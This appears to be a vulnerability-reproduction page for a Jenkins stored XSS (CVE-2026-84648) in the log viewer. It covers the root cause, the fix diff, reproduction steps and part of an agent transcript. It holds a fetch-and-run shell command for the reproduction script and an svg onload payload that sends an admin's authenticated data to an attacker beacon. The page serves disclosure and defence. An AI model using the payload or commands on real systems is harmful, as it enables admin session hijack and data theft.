CVE-2026-84648: Verified Reproduction
CVE-2026-84648: Jenkins stored XSS in system log viewer via agent log output SECURITY-3476
CVE-2026-84648 is verified against jenkinsci/jenkins · github. Affected versions: Jenkins weekly <= 2.579; Jenkins LTS <= 2.568.2. Vulnerability class: XSS. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00367.
What Is CVE-2026-84648?
CVE-2026-84648 is a high-severity XSS vulnerability affecting jenkinsci/jenkins Jenkins weekly <= 2.579; Jenkins LTS <= 2.568.2. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00367).
CVE-2026-84648 Severity
CVE-2026-84648 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
Affected jenkinsci/jenkins Versions
jenkinsci/jenkins · github versions Jenkins weekly <= 2.579; Jenkins LTS <= 2.568.2 are affected.
How to Reproduce CVE-2026-84648
pruva-verify REPRO-2026-00367 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00367/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-84648
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
java.util.logging.LogRecord fields (sourceClassName) published by an attacker-controlled inbound agent process
- agent JNLP4 connect
- agent-side hudson.slaves.SlaveComputer ring buffer
- admin GET /log/agentlog/
- Functions.printLogRecordHtml renders metadata unescaped
- stored XSS executes in admin browser
How the agent worked
Root Cause and Exploit Chain for CVE-2026-84648
Jenkins 2.579 and earlier (LTS 2.568.2 and earlier) renders log record metadata — source, level, and timestamp — in the system log viewer without HTML escaping. An attacker who controls an agent process can publish a java.util.logging.LogRecord with an attacker-controlled sourceClassName (e.g. <svg/onload=…>). That record is captured in the agent-side ring buffer (SlaveComputer.LogHolder.SLAVE_LOG_HANDLER, attached agent-side to the hudson.slaves.SlaveComputer logger by SlaveInitializer during channel setup), fetched over the remoting channel when an administrator opens a log recorder page (/log/<name>/), and rendered raw into the HTML. This is a stored XSS in the administrator's session context. Jenkins 2.580 / LTS 2.568.3 fixes it by escaping the metadata with Util.xmlEscape.
- Package/component: Jenkins core (
hudson.Functions#printLogRecordHtml, rendered bylib/hudson/logRecords.jellyonhudson.logging.LogRecorderpages). - Affected versions: Jenkins ≤ 2.579, LTS ≤ 2.568.2.
- Risk: High (CVSS 8.8, AV:N/AC:L/PR:N/UI:R). Stored XSS in the system log viewer executes in an administrator's authenticated browser session, enabling session hijack and full controller compromise (e.g. crumb theft →
/scriptTextGroovy RCE chain legs CVE-2026-84649 / CVE-2026-84645). - Attacker precondition: control of an agent process (malicious/compromised agent). The victim must open a log recorder page that targets the agent log namespace.
Impact Parity
- Disclosed/claimed maximum impact: stored XSS executing in an administrator's session (session hijack; stepping stone to RCE).
- Reproduced impact from this run: (see Evidence — filled from the runtime proof) unescaped attacker payload rendered on the real
/log/agentlog/page of Jenkins 2.579 served to an authenticated admin; headless-Chromium admin session executed the injected script, which exfiltrated the authenticated same-origin/whoAmI/api/jsonresponse to an attacker-controlled beacon. Jenkins 2.580 negative control renders the payload escaped and no beacon callback occurs. - Parity: full.
- Not demonstrated: the downstream RCE chain legs (CVE-2026-84649 crumb theft, CVE-2026-84645 deserialization RCE) are separate tickets and out of scope here.
Root Cause
core/src/main/java/hudson/Functions.java (Jenkins 2.579), printLogRecordHtml(LogRecord r, LogRecord prior):
String[] oldParts = prior == null ? new String[4] : logRecordPreformat(prior);
String[] newParts = logRecordPreformat(r);
for (int i = 0; i < /* not 4 */3; i++) {
newParts[i] = "<span class='" + (newParts[i].equals(oldParts[i]) ? "logrecord-metadata-old" : "logrecord-metadata-new") + "'>" + newParts[i] + "</span>";
}
newParts[3] = Util.xmlEscape(newParts[3]);
Only parts[3] (the message) is escaped. parts[0] (timestamp), parts[1] (source = sourceClassName [+ sourceMethodName], or loggerName when sourceClassName == null), and parts[2] (level) are concatenated into raw HTML. lib/hudson/logRecords.jelly then emits them with <j:out value="${parts[0..2]}"/>, which outputs raw (unescaped) HTML. A LogRecord whose sourceClassName is already set is not overwritten by Logger.log(LogRecord), so an attacker JVM fully controls this field.
Delivery path from the agent: SlaveComputer.SlaveInitializer (a MasterToSlaveCallable sent during setChannel) installs LogHolder.SLAVE_LOG_HANDLER (a RingBufferLogHandler) on the hudson.slaves.SlaveComputer logger inside the agent JVM. When an administrator views a LogRecorder page whose targets include that namespace, LogRecorder.getSlaveLogRecords() calls SlaveComputer.getLogRecords() → SlaveLogFetcher callable over the remoting channel → returns the agent ring buffer → records are rendered via the vulnerable function.
Fix (Jenkins 2.580): the same loop becomes
String cls = newParts[i].equals(oldParts[i]) ? "logrecord-metadata-old" : "logrecord-metadata-new";
newParts[i] = "<span class='" + cls + "'>" + Util.xmlEscape(newParts[i]) + "</span>";
Verified via git diff jenkins-2.579..jenkins-2.580 -- core/src/main/java/hudson/Functions.java and the added regression test test/src/test/java/hudson/logging/LogRecorderManagerTest.java#logRecorderPageDoesNotRenderUnescapedMetadata (@Issue("SECURITY-3967")).
Reproduction Steps
bundle/repro/reproduction_steps.sh(self-contained; requires Docker, Python 3, Node.js, curl, jq).- Per attempt (2 vulnerable on
jenkins/jenkins:2.579, 2 fixed onjenkins/jenkins:2.580, fresh container each):- Starts Jenkins with an init groovy script that creates the
adminaccount, an inbound (JNLP) agent nodeagent1, and a system log recorderagentlogtargetinghudson.slaves.SlaveComputerat Level.ALL. - Downloads the real
agent.jarfrom the running controller, compilesbundle/repro/agent/AgentXss.javaagainst it inside the container, and connects an attacker-controlled agent process over the real JNLP4/remoting TCP boundary. - The agent publishes a
LogRecordwithsourceClassName = <svg/onload="fetch('/whoAmI/api/json').then(…exfiltrate to beacon…)">under thehudson.slaves.SlaveComputerlogger. - The administrator views
http://127.0.0.1:18080/log/agentlog/(curl capture of the raw HTML + response headers, and a headless-Chromium admin login + page visit).
- Starts Jenkins with an init groovy script that creates the
- Expected evidence:
- Vulnerable: raw
<svg/onload=…>payload present verbatim in the served HTML; headless admin browser executes it and the attacker beacon receives the marker plus the exfiltrated authenticated/whoAmI/api/jsonbody. - Fixed: HTML contains only
<svg/onload…; beacon never receives the marker.
- Vulnerable: raw
Evidence
bundle/logs/reproduction_steps.log— full run log.bundle/repro/proof/vulnerable_{1,2}/page.html— raw payload in served page (vulnerable).bundle/repro/proof/vulnerable_1/beacon-hit.txt,bundle/repro/proof/beacon.log— attacker beacon callbacks proving script execution in the admin session.bundle/repro/proof/vulnerable_{1,2}/agent.log— attacker agent channel +MALICIOUS_RECORD_PUBLISHED.bundle/repro/proof/fixed_{1,2}/page.html— escaped payload only (negative control).bundle/repro/proof/*/result.json— per-attempt structured results;bundle/repro/runtime_manifest.json— runtime evidence manifest with artifact hashes.- Environment:
jenkins/jenkins:2.579(sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be),jenkins/jenkins:2.580, bundled JDK 21, Linux x86_64.
Recommendations / Next Steps
- Upgrade to Jenkins 2.580 / LTS 2.568.3 (metadata is escaped before rendering).
- Enforcing the Jenkins Content Security Policy (opt-in before the fix; default is report-only) mitigates script execution but does not fix the missing escaping.
- Treat agent hosts as within the threat boundary: any agent can inject HTML into controller UI pages viewed by admins.
Additional Notes
- The script is idempotent: every attempt uses a fresh container (no persistent
JENKINS_HOME), and reruns rebuild all proof artifacts. - Limitation: the browser execution proof uses headless Chromium via puppeteer; if Chromium cannot be installed in the replay sandbox, the script degrades to the HTML oracle only (raw vs escaped payload), which still directly demonstrates the missing escaping that the 2.580 fix addresses.
- The
sourcemetadata line is only rendered when consecutive records differ; the agent publishes a benign control record before the malicious one so the payload-bearing span is always rendered.
CVE-2026-84648 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
docker ps >/dev/null 2>&1 && echo DOCKER_OK || echo DOCKER_UNAVAILABLE; java -version 2>&1 | head -2; curl -sI https://registry-1.docker.io/v2/ -o /dev/null -w '%{http_code}\n' --max-time 10DOCKER_OK pruva-command: 1: java: not found 401
which gh; docker images | grep -i jenkins; docker pull jenkins/jenkins:2.579 2>&1 | tail -3Digest: sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be Status: Downloaded newer image for jenkins/jenkins:2.579 docker.io/jenkins/jenkins:2.579
cd /pruva/project-cache && git clone --bare --filter=blob:none --no-checkout https://github.com/jenkinsci/jenkins.git repo-mirrors/jenkins.git 2>&1 | tail -3Cloning into bare repository 'repo-mirrors/jenkins.git'...
cd /pruva/project-cache/repo-mirrors/jenkins.git && git diff --stat jenkins-2.579..jenkins-2.580 -- '*logging*' '*LogRecord*' 2>&1 | head -30; echo ===; git diff jenkins-2.579..jenkins-2.580 --name-only 2>/dev/null | grep -iE 'log' | head -30.../hudson/logging/LogRecorderManagerTest.java | 25 ++++++++++++++++++++++ 1 file changed, 25 insertions(+) === test/src/test/java/hudson/logging/LogRecorderManagerTest.java
cd /pruva/project-cache/repo-mirrors/jenkins.git && git diff jenkins-2.579..jenkins-2.580 -- test/src/test/java/hudson/logging/LogRecorderManagerTest.java | head -80{"cwd":"/workspace","duration_ms":47,"exit_code":0,"stderr":"","stdout":"diff --git a/test/src/test/java/hudson/logging/LogRecorderManagerTest.java b/test/src/test/java/hudson/logging/LogRecorderManagerTest.java\nindex 799d62cc77..08b06cacac 100644\n--- a/test/src/test/java/hudson/logging/LogRecorderManagerTest.java\n+++ b/test/src/test/java/hudson/logging/LogRecorderManagerTest.java\n@@ -31,6 +31,7 @@ import static org.hamcrest.Matchers.containsString;\n import static org.hamcrest.Matchers.empty;\n import static org.hamcrest.Matchers.equalTo;\n import static org.hamcrest.Matchers.hasSize;\n+import static org.hamcrest.Matchers.not;\n import static org.junit.jupiter.api.Assertions.assertEquals;\n import static org.junit.jupiter.api.Assertions.assertFalse;\n import static org.junit.jupiter.api.Assertions.assertNotNull;\n@@ -203,6 +204,30 @@ class LogRecorderManagerTest {\n assertFalse(text.contains(\"LambdaLog @FINER\"), text);\n }\n \n+ @Issue(\"SECURITY-3967\")\n+ @Test\n+ void logRecorderPageDoesNotRenderUnescapedMetadata() throws Exception {\n+ LogRecorderManager mgr = j.jenkins.getLog();\n+ LogRecorder recorder = new LogRecorder(\"xsstest\");\n… [truncated]Artifacts and Evidence for CVE-2026-84648
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-84648
FAQ: CVE-2026-84648
Is CVE-2026-84648 exploitable?
How severe is CVE-2026-84648?
What type of vulnerability is CVE-2026-84648?
Which versions of jenkinsci/jenkins are affected by CVE-2026-84648?
How can I reproduce CVE-2026-84648?
Is the CVE-2026-84648 reproduction verified?
References for CVE-2026-84648
Authoritative sources for CVE-2026-84648 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.